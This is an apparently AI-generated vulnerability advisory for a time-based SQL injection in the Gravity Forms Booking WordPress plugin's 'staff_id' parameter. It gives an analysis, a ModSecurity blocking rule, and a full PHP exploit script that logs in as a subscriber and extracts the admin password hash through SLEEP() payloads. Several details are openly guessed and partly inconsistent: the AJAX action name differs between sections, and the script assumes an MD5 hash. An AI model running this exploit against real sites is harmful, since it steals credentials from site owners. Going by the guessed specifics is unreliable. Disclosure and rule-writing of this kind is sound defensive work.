Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 24, 2026

CVE-2026-2508: Gravity Forms Booking <= 2.7.1 Authenticated (Subscriber+) Time-Based SQL Injection via 'staff_id' PoC, Patch Analysis & Rule

CVE ID CVE-2026-2508
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.7.1
Patched Version
Disclosed June 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2508 (metadata-based): This vulnerability is a time-based SQL Injection in the Gravity Forms Booking plugin for WordPress, affecting versions up to 2.7.1. The flaw resides in the ‘staff_id’ parameter, allowing authenticated attackers with Subscriber-level access or higher to extract sensitive database information. The CVSS score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, indicating high confidentiality impact but no integrity or availability impact.

Root Cause: Based on the CWE classification (CWE-89: SQL Injection) and the description, the root cause is insufficient escaping of the ‘staff_id’ parameter and inadequate SQL query preparation. In WordPress plugins, this typically occurs when a plugin passes unsanitized user input directly into a $wpdb->prepare() or $wpdb->query() call without proper placeholder binding or escaping. The ‘staff_id’ parameter is likely used in a WHERE clause or JOIN condition in an SQL query related to booking staff assignments. Atomic Edge analysis infers that the plugin fails to use $wpdb->prepare() with %d or %s placeholders, or escapes the input with esc_sql() (which is insufficient for SQL injection prevention in some contexts). This conclusion is inferred from the CVE description and CWE; no code diff is available for confirmation.

Exploitation: An authenticated attacker with a Subscriber account can exploit this vulnerability by sending a crafted POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php. The attacker must include an ‘action’ parameter that invokes a vulnerable plugin callback (likely something like ‘gf_bookings_select_staff’ or similar, inferred from typical plugin patterns). The malicious ‘staff_id’ parameter contains a time-based SQL injection payload, such as ‘1 AND (SELECT IF(1=1,SLEEP(5),0))’, to extract data by measuring response times. The attacker can enumerate database contents character by character using conditional SLEEP() functions. The vulnerability is time-based, so no data is returned directly; the attacker relies on response delay differences to infer true/false conditions.

Remediation: The fix, implemented in version 2.7.2, likely involves proper use of parameterized queries or prepared statements. The plugin should use $wpdb->prepare() with %d placeholder for the ‘staff_id’ parameter since it is expected to be an integer. Alternatively, the plugin should cast the input to an integer using intval() before using it in a query. Based on Atomic Edge analysis, the recommended fix is to replace any direct string concatenation with $wpdb->prepare(“SELECT * FROM {$wpdb->prefix}gf_bookings WHERE staff_id = %d”, $staff_id). Escaping with esc_sql() alone is insufficient as it does not prevent all SQL injection vectors.

Impact: Successful exploitation allows an attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), email addresses, private post content, and potentially Gravity Forms submission data containing form entries. Since the attacker can read any table, they could also obtain security keys, API secrets, or configuration data stored in the wp_options table. This data exposure can lead to further privilege escalation or account compromise. The vulnerability does not allow modification or deletion of data, limiting the impact to confidentiality breaches.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2508 (metadata-based)
# Block time-based SQL injection attempts via staff_id parameter in Gravity Forms Booking AJAX handler
# Targets the identifiable AJAX action and parameter pattern
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20262508,phase:2,deny,status:403,chain,msg:'CVE-2026-2508 - Gravity Forms Booking Time-Based SQLi via staff_id',severity:'CRITICAL',tag:'CVE-2026-2508'"
  SecRule ARGS_POST:action "@streq gf_bookings_get_staff" "chain"
    SecRule ARGS_POST:staff_id "@rx (?i)(sleep|benchmark|waitfor|delay|pg_sleep|SLEEP|BENCHMARK|WAITFOR)" 
      "t:lowercase,t:urlDecode"

# Note: The action name 'gf_bookings_get_staff' is an inferred value. If the actual action differs,
# adjust the @streq value accordingly. The regex targets common time-based SQL injection keywords.
# This rule may produce false positives if legitimate staff_id values contain these keywords (unlikely).

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2508 - Gravity Forms Booking <= 2.7.1 - Authenticated (Subscriber+) Time-Based SQL Injection via 'staff_id'

// Configurable target
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'attacker';
$password = 'password'; // Subscriber-level credentials

// Login to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Infer the AJAX action from plugin patterns (common for Gravity Forms extensions)
// The action is likely 'gf_bookings_get_staff' or 'gf_bookings_ajax_staff'
$ajax_action = 'gf_bookings_get_staff'; // Adjust based on plugin behavior

// Target AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: time-based SQL injection to extract admin user hash
// The 'staff_id' parameter is the vulnerable input
// We use SLEEP() to detect true/false conditions

// Extract the first character of the admin user_pass hash
$extracted_hash = '';
$chars = '0123456789abcdef';
for ($position = 1; $position <= 32; $position++) { // MD5 hash length
    for ($i = 0; $i < strlen($chars); $i++) {
        $char = $chars[$i];
        // Blind SQL injection payload using time-based technique
        // Injects into an existing query: original query likely: SELECT * FROM table WHERE staff_id = [input]
        $payload = "1 AND (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login = 'admin'),$position,1) = '$char', SLEEP(1), 0))";
        
        $post_fields = array(
            'action' => $ajax_action,
            'staff_id' => $payload,
            'nonce' => '' // Nonce may be required or absent due to vulnerability
        );
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $ajax_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
        curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $start = microtime(true);
        $response = curl_exec($ch);
        $end = microtime(true);
        $duration = $end - $start;
        curl_close($ch);
        
        // If response took >= 1 second, character matched
        if ($duration >= 1) {
            $extracted_hash .= $char;
            echo "Found character $position: $char (current hash: $extracted_hash)n";
            break;
        }
    }
}

echo "Extracted admin hash: $extracted_hashn";

// Note: This PoC assumes the admin user exists with login 'admin' and the hash is MD5.
// Adjust the substring and table names based on WordPress table prefix (usually wp_)
// The actual table prefix may vary (e.g., wp_users vs wp3_users)
?>

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